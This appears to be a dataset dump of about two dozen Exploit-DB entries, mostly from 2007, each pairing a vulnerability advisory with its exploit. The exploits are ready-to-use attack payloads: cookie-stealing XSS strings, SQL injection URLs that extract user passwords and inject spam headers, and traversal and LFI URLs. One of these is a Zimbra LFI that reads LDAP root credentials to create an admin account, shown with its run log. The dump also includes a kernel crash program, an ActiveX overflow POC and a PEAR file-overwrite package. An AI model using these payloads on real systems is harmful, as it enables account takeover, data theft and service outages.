QLWD/code_shield huggingface dataset:
标题: Apple Mac OSX 10.4.9 - VPND Local Format String EDB-ID: 30096 CVE: 2007-0753 类型: LOCAL 平台: OSX 发布日期: 2007-05-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/24208/info

Apple Mac OS X's VPN service daemon is prone to a format-string vulnerability because it fails to properly sanitize user-supplied input before passing it as the format specifier to a formatted-printing function.

Attackers may exploit this issue to crash the application or execute arbitrary code with superuser privileges. Successful exploits can result in a complete compromise of vulnerable computers.

Apple Mac OS X Server 10.4.9 and prior versions are vulnerable to this issue.

This issue was originally included in BID 24144 (Apple Mac OS X 2007-005 Multiple Security Vulnerabilities), but has been given its own record. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30096.tar.gz URL: https://www.exploit-db.com/exploits/30096
标题: UebiMiau 2.7.10 - '/demo/pop3/error.php' Multiple Full Path Disclosures EDB-ID: 30098 CVE: 2007-3171 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/24210/info
 
Uebimiau is prone to multiple input-validation vulnerabilities, including cross-site scripting issues and an information-disclosure issue, because the application fails to properly sanitize user-supplied input.
 
Attackers can exploit these issues to steal cookie-based authentication credentials, to control how the site is rendered to the user, or to gain access to information that could aid in further attacks.
 
Uebimiau 2.7.2 and 2.7.10 are vulnerable; other versions may also be affected. 

http://www.example.org/demo/pop3/error.php?smarty=test 
http://www.example.org/demo/pop3/error.php?selected_theme=test URL: https://www.exploit-db.com/exploits/30098
标题: DGNews 2.1 - 'footer.php' Cross-Site Scripting EDB-ID: 30094 CVE: 2007-0694 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/24200/info

DGNews is prone to a cross-site scripting vulnerability.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

This issue affects DGNews 2.1; other versions may also be affected. 

http://www.example.com/footer.php?copyright=[xss] URL: https://www.exploit-db.com/exploits/30094
标题: WordPress Plugin Download Manager Free & Pro 2.5.8 - Persistent Cross-Site Scripting EDB-ID: 30105 CVE: 2013-7319 类型: WEBAPPS 平台: PHP 发布日期: 2013-12-08 漏洞利用脚本: # Exploit Title: Wordpress Plugin: Wordpress Download Manager Free & Pro
Persistent Cross Site Scripting 

# Google Dork:

# Date: 12-06-2013

# Exploit Author: IT Nerdbox

# Vendor Homepage: http://www.wpdownloadmanager.com # Software Link:
http://downloads.wordpress.org/plugin/download-manager.zip

# Version: v3.3.8

# Tested on: Wordpress 3.7.1 on Linux CentOS # CVE : N/A

 

 

 

When creating a new download package you need to enter a title, description
and the file(s) that you want to be available for download. The title input
field is not sanitized and therefor vulnerable to persistent cross site
scripting. The payload used is <input onmouseover=prompt(document.cookie)>

 

 

More information, including screenshots, can be found at:

http://www.nerdbox.it/wordpress-download-manager-xss/ URL: https://www.exploit-db.com/exploits/30105
标题: UebiMiau 2.7.10 - '/demo/pop3/error.php?selected_theme' Cross-Site Scripting EDB-ID: 30097 CVE: 2007-3170 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/24210/info

Uebimiau is prone to multiple input-validation vulnerabilities, including cross-site scripting issues and an information-disclosure issue, because the application fails to properly sanitize user-supplied input.

Attackers can exploit these issues to steal cookie-based authentication credentials, to control how the site is rendered to the user, or to gain access to information that could aid in further attacks.

Uebimiau 2.7.2 and 2.7.10 are vulnerable; other versions may also be affected. 

http://www.example.org/demo/pop3/error.php?selected_theme=%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/30097
标题: British TeleCommunications Consumer Webhelper 2.0.0.7 - Multiple Buffer Overflow Vulnerabilities EDB-ID: 30100 CVE: 2007-2983 类型: REMOTE 平台: WINDOWS 发布日期: 2007-05-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/24219/info

The British Telecommunications Consumer Webhelper ActiveX control is prone to multiple buffer-overflow vulnerabilities because it fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer.

Successfully exploiting these issues allows remote attackers to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed exploit attempts likely result in denial-of-service conditions.

Versions of British Telecommunications Consumer Webhelper ActiveX Control prior to 2.0.0.8 are vulnerable to these issues. 

<!--

British Telecommunications Consumer Webhelper Multiple Buffer Overflow POC
By Parveen Vashishtha

Desc:
This is just POC.

Tested on Windows XP SP2 English fully patched.

-->

<html>
<object classid=&#039;clsid:EC5A4E7B-02EB-451D-B310-D5F2E0A4D8C3&#039; id=&#039;bt&#039;></object>
<script language=&#039;vbscript&#039;>

var=String(128, "A")

bt.IsICMActive var 

</script></html> URL: https://www.exploit-db.com/exploits/30100
标题: Ruby on Rails 1.2.3 To_JSON - Script Injection EDB-ID: 30089 CVE: 2007-3227 类型: REMOTE 平台: LINUX 发布日期: 2007-05-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/24161/info

Ruby on Rails is prone to a script-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied script code would run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

This issue affects Ruby on Rails 1.2.3; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30089.tgz URL: https://www.exploit-db.com/exploits/30089
标题: GNUTurk - 'Mods.php' Cross-Site Scripting EDB-ID: 30082 CVE: 2007-2879 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/24152/info

Gnuturk is prone to a cross-site scripting vulnerability.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

Gnuturk 3G is vulnerable to this issue.

http://www.target.com/mods.php?go=News&p=ln&year=2007&month="><h1>Vagrant</h1><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/30082
标题: Pligg CMS 9.5 - Reset Forgotten Password Security Bypass EDB-ID: 30088 CVE: 2007-5579 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/24158/info

Pligg is prone to a security-bypass vulnerability due to a design error when resetting forgotten passwords.

An attacker may exploit this issue to reset account passwords for arbitrary users and then compromise a vulnerable application. This can also aid the attacker in further attacks.

Pligg 9.5 is reported vulnerable; other versions may also be affected. 

http://www.example.com/login.php?processlogin=4&username=admin&confirmationcode=1234567891e2f566cbda0a9c855240bf21b8bae030404cad7 URL: https://www.exploit-db.com/exploits/30088
标题: phpPgAdmin 4.1.1 - 'Redirect.php' Cross-Site Scripting EDB-ID: 30090 CVE: 2007-5728 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/24182/info

phpPgAdmin is prone to a cross-site scripting vulnerability.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/redirect.php/%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E?subject=server&server=test URL: https://www.exploit-db.com/exploits/30090
标题: WYYS 1.0 - 'index.php' Cross-Site Scripting EDB-ID: 30076 CVE: 2007-2887 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/24117/info

WÃYS is prone to a cross-site scripting vulnerability.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

WÃYS 1.0 is reported vulnerable; other versions may also be affected. 

http://www.example.com/index.php?Page=Sayfa&No="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/30076
标题: Cisco CallManager 4.1 - Search Form Cross-Site Scripting EDB-ID: 30077 CVE: 2007-2832 类型: WEBAPPS 平台: ASP 发布日期: 2007-05-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/24119/info

Cisco CallManager is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting this vulnerability could allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

Cisco CallManager 4.1.1 is reported vulnerable; other versions may also be affected. 

https://www.example.com/CCMAdmin/serverlist.asp?findBy=servername&match=begins&pattern=[xss] URL: https://www.exploit-db.com/exploits/30077
标题: BoastMachine 3.1 - 'index.php' Cross-Site Scripting EDB-ID: 30086 CVE: 2007-2932 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/24156/info

BoastMachine is prone to a cross-site scripting vulnerability.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks. 

http://www.target.com/index.php?action=search&item=content&blog=[xss] URL: https://www.exploit-db.com/exploits/30086
标题: Linux Kernel 2.6.x - VFat Compat IOCTLS Local Denial of Service EDB-ID: 30080 CVE: 2007-2878 类型: DOS 平台: LINUX 发布日期: 2007-05-24 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/24134/info

The Linux Kernel is prone to a denial-of-service vulnerability.

A local attacker can exploit this issue to cause the kernel to crash, effectively denying service to legitimate users.
*/


#include <sys/types.h>
    #include <sys/ioctl.h>
    #include <dirent.h>
    #include <stdio.h>
    #include <unistd.h>
    #include <fcntl.h>
    struct kernel_dirent {
             long            d_ino;
             long               d_off;
             unsigned short  d_reclen;
             char            d_name[256]; /* We must not include limits.h! */
    };
    #define VFAT_IOCTL_READDIR_BOTH  _IOR('r', 1, struct kernel_dirent [2])
    #define VFAT_IOCTL_READDIR_SHORT  _IOR('r', 2, struct kernel_dirent [2])

    int main(void)
    {
             int fd = open(".", O_RDONLY);
             struct kernel_dirent de[2];

             while (1) {
                     int i = ioctl(fd, VFAT_IOCTL_READDIR_BOTH, (long)de);
                     if (i == -1) break;
                     if (de[0].d_reclen == 0) break;
                     printf("SFN: reclen=%2d off=%d ino=%d, %-12s",
                       de[0].d_reclen, de[0].d_off, de[0].d_ino, de[0].d_name);
                if (de[1].d_reclen)
                  printf("\tLFN: reclen=%2d off=%d ino=%d, %s",
                    de[1].d_reclen, de[1].d_off, de[1].d_ino, de[1].d_name);
                printf("\n");
             }
             return 0;
    } URL: https://www.exploit-db.com/exploits/30080
标题: Zimbra 2009-2013 - Local File Inclusion EDB-ID: 30085 CVE: 2013-7091 类型: WEBAPPS 平台: LINUX 发布日期: 2013-12-06 漏洞利用脚本: # Exploit Title: Zimbra 0day exploit / Privilegie escalation via LFI
# Date: 06 Dec 2013
# Exploit Author: rubina119
# Contact Email : rubina119[at]gmail.com
# Vendor Homepage: http://www.zimbra.com/
# Version: 2009, 2010, 2011, 2012 and early 2013 versions are afected,
# Tested on: Centos(x), Ubuntu.
# CVE : No CVE, no patch just 0Day
# State : Critical

# Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30085.zip (zimbraexploit_rubina119.zip)

---------------Description-----------------

This script exploits a Local File Inclusion in
/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz
which allows us to see localconfig.xml
that contains LDAP root credentials wich allow us to make requests in
/service/admin/soap API with the stolen LDAP credentials to create user
with administration privlegies
and gain acces to the Administration Console.

LFI is located at :
/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00

Example :

https://mail.example.com/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00

or

https://mail.example.com:7071/zimbraAdmin/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00


----------------Exploit-----------------


Before use this exploit, target server must have admin console port open
"7071" otherwise it won't work.

use the exploit like this :


ruby run.rb -t mail.example.com -u someuser -p Test123_23

[*] Looking if host is vuln....
[+] Host is vuln exploiting...
[+] Obtaining Domain Name
[+] Creating Account
[+] Elevating Privileges
[+] Login Credentials
    [*] Login URL : https://mail.example.com:7071/zimbraAdmin/
    [*] Account   : someuser@example.com
    [*] Password  : Test123_23
[+] Successfully Exploited !

The number of servers vuln are huge like 80/100.

This is only for educational purpouses. URL: https://www.exploit-db.com/exploits/30085
标题: ASP-Nuke 2.0.7 - 'news.asp' Cross-Site Scripting EDB-ID: 30081 CVE: 2007-2892 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/24135/info

ASP-Nuke is prone to a cross-site scripting vulnerability.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

ASP-Nuke 2.0.7 is reported vulnerable; other versions may also be affected. 

http://www.example.com/news.asp?id="><script>alert("Vagrant")</script> URL: https://www.exploit-db.com/exploits/30081
标题: Apple Safari 2.0.4 - Cross-Domain Browser Location Information Disclosure EDB-ID: 30078 CVE: 2007-2843 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-05-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/24121/info

Apple Safari is prone to an information-disclosure vulnerability because it fails to properly enforce cross-domain JavaScript restrictions.

Exploiting this issue may allow attackers to access locations that a user visits, even if it's in a different domain than the attacker's site. The most common manifestation of this condition would typically be in blogs or forums. Attackers may be able to access potentially sensitive information that would aid in phishing attacks.

This issue affects Safari 2.0.4; other versions may also be affected. 

var snoopWin;

function run() {
 snoopWin = window.open('http://www.google.com/','snoopWindow','width=640,height=480');
 snoopWin.blur();
 setTimeout("snoopy()", 5000); 
}

function snoopy() {
 alert(snoopWin.location);
 setTimeout("snoopy()", 5000);
} URL: https://www.exploit-db.com/exploits/30078
标题: Jetbox CMS 2.1 - Login Variable Cross-Site Scripting EDB-ID: 30068 CVE: 2007-2686 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/24095/info

Jetbox CMS is prone to a cross-site scripting vulnerability.

This vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

Jetbox 2.1 is reported vulnerable; other versions may also be affected. 

http://www.example.com/product/index.php?view=webuser&task=sendpw&login=<script>alert(document.cookies)</script> URL: https://www.exploit-db.com/exploits/30068
标题: ABC Excel Parser Pro 4.0 - 'Parser_Path' Remote File Inclusion EDB-ID: 30071 CVE: 2007-2857 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/24103/info

ABC Excel Parser Pro is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

ABC Excel Parser Pro 4.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/sample/xls2mysql/parser_path=shell.txt? URL: https://www.exploit-db.com/exploits/30071
标题: Jetbox CMS 2.1 - Multiple SQL Injections EDB-ID: 30066 CVE: 2007-2685 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/24077/info

Jetbox is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Jetbox 2.1 is vulnerable; other versions may also be affected. 


http://www.example.com/path//index.php?view=-1' UNION SELECT 1,CONCAT(`login`,'-',`user_password`),1,1,1,1,1,1,1,1,1,1 FROM `User` LIMIT 0,1%23

http://www.example.com/path//index.php?view=webuser&task=sendpw&login=-1' UNION SELECT 1,1,1,'spam1@mail.com%0ABcc: spam_address2@somedomain.com, spam_address2 somedomain.com, spam_address4@somedomain.com, spam_addressNsomedomain.com%0ASubject: Some Spam Subject%0AFrom: any_address@somedomain.com%0AMIME-Version: 1.0%0AContent-Type: multipart/mixed; boundary=Hacker;%0A%0A--Hacker%0ASome Spam Message%0A%0AContent-Type:text/html;name=any_file.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition: attachment%0A%0AHTML File%0A%0A--Hacker--%0AOther text will be hide',1 FROM `user` %23 URL: https://www.exploit-db.com/exploits/30066
标题: rdiffweb 0.3.5 - Directory Traversal EDB-ID: 30067 CVE: 2007-2747 类型: REMOTE 平台: WINDOWS 发布日期: 2007-05-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/24092/info

rdiffWeb is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the webserver process. Information obtained may aid in further attacks.

This issue affects rdiffWeb 0.3.5; other versions may also be affected. 

http://localhost:8080/browse/?repo=b&path=..%2F..%2F..%2Fetc URL: https://www.exploit-db.com/exploits/30067
标题: phpPgAdmin 4.1.1 - 'SQLEDIT.php' Cross-Site Scripting EDB-ID: 30075 CVE: 2007-2865 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/24115/info

phpPgAdmin is prone to a cross-site scripting vulnerability.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

phpPgAdmin 4.1.1 is reported vulnerable; other versions may also be affected. 

https://www.example.com/phpPgAdmin/sqledit.php?server=[xss] URL: https://www.exploit-db.com/exploits/30075
标题: PHP PEAR 1.5.3 - INSTALL-AS Attribute Arbitrary File Overwrite EDB-ID: 30074 CVE: 2007-2519 类型: REMOTE 平台: LINUX 发布日期: 2007-05-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/24111/info

PEAR is prone to a vulnerability that lets attackers overwrite arbitrary files.

An attacker-supplied package may supply directory-traversal strings through the 'install-as' attribute to create and overwrite files in arbitrary locations.

This issue affects PEAR 1.0 to 1.5.3. 

create a file named "INSTALL" and save it in the current directory.
Save the following XML as package.xml, and run "pear install package.xml"

If php_dir is /usr/local/lib/php The file "INSTALL" will be installed into
/usr/local/test.php



<?xml version="1.0" encoding="UTF-8"?>
<package version="2.0" xmlns="http://pear.php.net/dtd/package-2.0"
xmlns:tasks="http://pear.php.net/dtd/tasks-1.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://pear.php.net/dtd/tasks-1.0
http://pear.php.net/dtd/tasks-1.0.xsd
http://pear.php.net/dtd/package-2.0
http://pear.php.net/dtd/package-2.0.xsd">
 <name>Test_Sec</name>
 <channel>pear.php.net</channel>
 <summary>Test security vulnerability</summary>
 <description>demonstrate install-as vulnerability
 </description>
 <lead>
  <name>Greg Beaver</name>
  <user>cellog</user>
  <email>cellog@php.net</email>
  <active>yes</active>
 </lead>
 <date>2007-03-05</date>
 <version>
  <release>1.6.0</release>
  <api>1.6.0</api>
 </version>
 <stability>
  <release>stable</release>
  <api>stable</api>
 </stability>
 <license uri="http://www.php.net/license">PHP License</license>
 <notes>
    allow up to latest beta version [tias]
 </notes>
 <contents>
  <dir name="/">
   <file name="INSTALL" role="php" />
  </dir> <!-- / -->
 </contents>
 <dependencies>
  <required>
   <php>
    <min>4.3.0</min>
   </php>
   <pearinstaller>
    <min>1.4.3</min>
   </pearinstaller>
  </required>
 </dependencies>
 <phprelease>
  <filelist>
   <install as="../../test.php" name="INSTALL" />
  </filelist>
 </phprelease>

</package> URL: https://www.exploit-db.com/exploits/30074
标题: GaliX 2.0 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30065 CVE: 2007-2806 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/24066/info

GaliX is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.

GaliX 2.0 is vulnerable to these issues; other versions may also be affected. 

<!--

GaliX� v2.0 - Cross-Site Scripting Exploit

Multiple Vulnerable Variables: galix_cat_detail_sort, galix_cat_detail, galix_gal_detail, galix_cat_detail
Vulnerable: Galix v2.0 (other versions should also be vulnerable)
Google d0rk: "GaliX� v2.0"

John Martinelli
john@martinelli.com

RedLevel Security
RedLevel.org

April 18th, 2007

!-->

<html>
<head><title>GaliX� v2.0 - Cross-Site Scripting Exploit</title><body>

<center><br><br><font size=4>GaliX� v2.0 - Cross-Site Scripting Exploit</font><br><font size=3>discovered by <a href="http://john-martinelli.com">John Martinelli</a> of <a href="http://redlevel.org">RedLevel Security</a><br><br>Google d0rk: <a href="http://www.google.com/search?hl=en&q=GaliX%C2%B2+v2.0">"GaliX� v2.0"</a></font><br>

<br><br>
<form action="http://www.example.com/path/index.php" method="post">
<input name="galix_action" type="hidden" value="galery">
<input name="galix_cat_detail" size=75 value="<"<<script>alert(1);</script>">
<input name="galix_cat_detail_sort" type="hidden" value="1">
<input name="galix_language_change" type="hidden" value="1">
<input type=submit value="Execute XSS Attack" class="button">
</form>

</body></html> URL: https://www.exploit-db.com/exploits/30065